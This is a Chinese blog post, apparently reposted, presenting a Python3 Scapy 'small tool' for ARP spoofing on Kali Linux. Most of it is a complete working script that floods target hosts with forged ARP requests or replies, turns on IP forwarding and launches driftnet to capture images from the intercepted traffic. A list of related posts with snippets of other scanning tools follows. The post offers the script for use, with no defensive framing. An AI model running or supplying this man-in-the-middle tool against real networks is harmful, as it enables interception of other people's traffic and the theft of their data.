Python3 小工具-ARP欺骗
在kali中使用
from scapy.all import *
import optparse
import os
def send(pkt,interface):
for p in pkt:
sendp(p,iface=interface)
def req(targets,source):
for target in targets:
tr_mac=getmacbyip(target)
pkt=Ether(dst=tr_mac)/ARP(pdst=target,psrc=source)
yield pkt
def rep(targets,source):
for target in targets:
tr_mac=getmacbyip(target)
pkt=Ether(dst=tr_mac)/ARP(pdst=target,psrc=source,op=2)
yield pkt
def main():
parser=optparse.OptionParser('%prog '+"[+]-i <interface> [+]-t <targets> [+]-s <source> [+]-m <mode> [+]-r <transmit>")
parser.add_option('-i',dest='interface',default='eth0',type='string',help='[+]Interface(default eth0)')
parser.add_option('-t',dest='targets',type='string',help='[+]Target host,split with \',\'')
parser.add_option('-s',dest='source',type='string',help='[+]Source host')
parser.add_option('-m',dest='mode',default='req',type='string',help='[+]Request(req) or Reply(rep)')
parser.add_option('-r',dest='transmit',default='no',type='string',help='[+]Transmit(yes or no)')
(options,args)=parser.parse_args()
interface=options.interface
targets=str(options.targets).split(',')
source=options.source
mode=options.mode
transmit=options.transmit
if((targets[0]==None) or (source==None)):
print('[-]Please input targets and source')
exit(0)
if(transmit=='yes'):
os.system('echo 1 > /proc/sys/net/ipv4/ip_forward')
os.system("gnome-terminal -- driftnet -i "+interface)
if(mode=='req'):
print('----------------')
try:
while True:
pkt=req(targets,source)
send(pkt,interface)
except KeyboardInterrupt:
print('---------------')
os.system('echo 0 > /proc/sys/net/ipv4/ip_forward')
print('Finished')
else:
print('-----------------')
try:
while True:
pkt=rep(targets,source)
send(pkt,interface)
except KeyboardInterrupt:
print('---------------')
os.system('echo 0 > /proc/sys/net/ipv4/ip_forward')
print('Finished!')
if __name__=='__main__':
main()
使用说明

开始程序

转发成功

github:https://github.com/zmqq/pytools/tree/master/arpspoof
Python3 小工具-ARP欺骗的更多相关文章
- Python3 小工具-ARP扫描
from scapy.all import * import optparse import threading import os def scan(ipt): pkt=Ether(dst='ff: ...
- Cain工具ARP欺骗攻击
OS:Win7工具:Cainhttp://pan.baidu.com/s/1xq9lW 密码:409z 网络:本机和被攻击电脑有线连接路由器. Cain是有名的局域网嗅探工具,有丰富的功能.比如可以解 ...
- python3 小工具
扫描IP的端口是否开放:Porttest.py # -*- coding: utf-8 -*- import sys import os import socket #扫描 def scanport( ...
- ip地址查询python3小工具_V0.0.1
看到同事在一个一个IP地址的百度来确认导出表格中的ip地址所对应的现实世界的地址是否正确,决定给自己新开一个坑.做一个查询ip“地址”的python小工具,读取Excel表格,在表格中的后续列输出尽可 ...
- Python3 小工具-UDP扫描
from scapy.all import * import optparse import threading def scan(target,port): pkt=IP(dst=target)/U ...
- Python3 小工具-僵尸扫描
僵尸机的条件: 1.足够闲置,不与其他机器进行通讯 2.IPID必须是递增的,不然无法判断端口是否开放 本实验僵尸机选择的是Windows2003 from scapy.all import * im ...
- Python3 小工具-TCP半连接扫描
from scapy.all import * import optparse import threading def scan(ip,port): pkt=IP(dst=ip)/TCP(dport ...
- Python3 小工具-UDP发现
from scapy.all import * import optparse import threading import os def scan(ip): pkt=IP(dst=ip)/UDP( ...
- Python3 小工具-TCP发现
from scapy.all import * import optparse import threading import os def scan(ip): pkt=IP(dst=ip)/TCP( ...
随机推荐
- SQLlearn
- JavaScript-比较运算符
一.概述 > 大于运算符 < 小于运算符 <= 小于或者等于运算符 >= 大于或者等于运算符 == 相等运算符 === 严格相等运算符 != 不相等运算符 !== 严格不相等运 ...
- LAMP+Varnish的实现
基于Keepalived+Varnish+Nginx实现的高可用LAMP架构 注意:各节点的时间需要同步(ntpdate ntp1.aliyun.com),关闭firewalld(systemctl ...
- php_Trait
* Trait Answer* Trait : 关键字 Trait* 使用 use* 我的理解 是为了解决php不能多继承的一个处理方式* 在使用的时候 可以让两个不相关的类 产生联系* Trait ...
- PHPExcel 导入Excel数据 (导出下一篇我们继续讲解)
一:使用composer下载 phpoffice/phpexcel 或者直接下载安装包 composer require phpoffice/phpexcel 二 1:导入数据 原理:读取文件,获取文 ...
- 视频网站数据MapReduce清洗及Hive数据分析
一.需求描述 利用MapReduce清洗视频网站的原数据,用Hive统计出各种TopN常规指标: 视频观看数 Top10 视频类别热度 Top10 视频观看数 Top20 所属类别包含这 Top20 ...
- I2C驱动
在I2C总线驱动下,也是硬件设备和驱动分离,使以就需要通过它们的名字来匹配,这样驱动的probe函数才能被调用 查看linux内核的Documents目录下的说明文件,可知构造i2c设备有4种方法: ...
- python 查找元素 获取元素信息 元素交互操作 执行JavaScript
from selenium import webdriver browser = webdriver.Firefox() browser.get("https://tieba.baidu.c ...
- C语言复合数据类型
C语言数据类型非常丰富,其中结构体的使用非常广泛,也有一点复杂,这一讲我们主要学习结构体的使用方法,同时也会学习到联合.枚举以及typedef的使用,因为结构体最为复杂,使用最广,所以我 ...
- ...续上文(一个小萌新的C语言之旅)
我们继续上次没介绍完的继续讲: 下面我们说一下二进制,二进制是计算技术中广泛采用的一种 数制. 二进制数据是用0和1两个 数码来表示的数.它的基数为2,进位规则是“逢二进一”.那么二进制怎么转化为十进 ...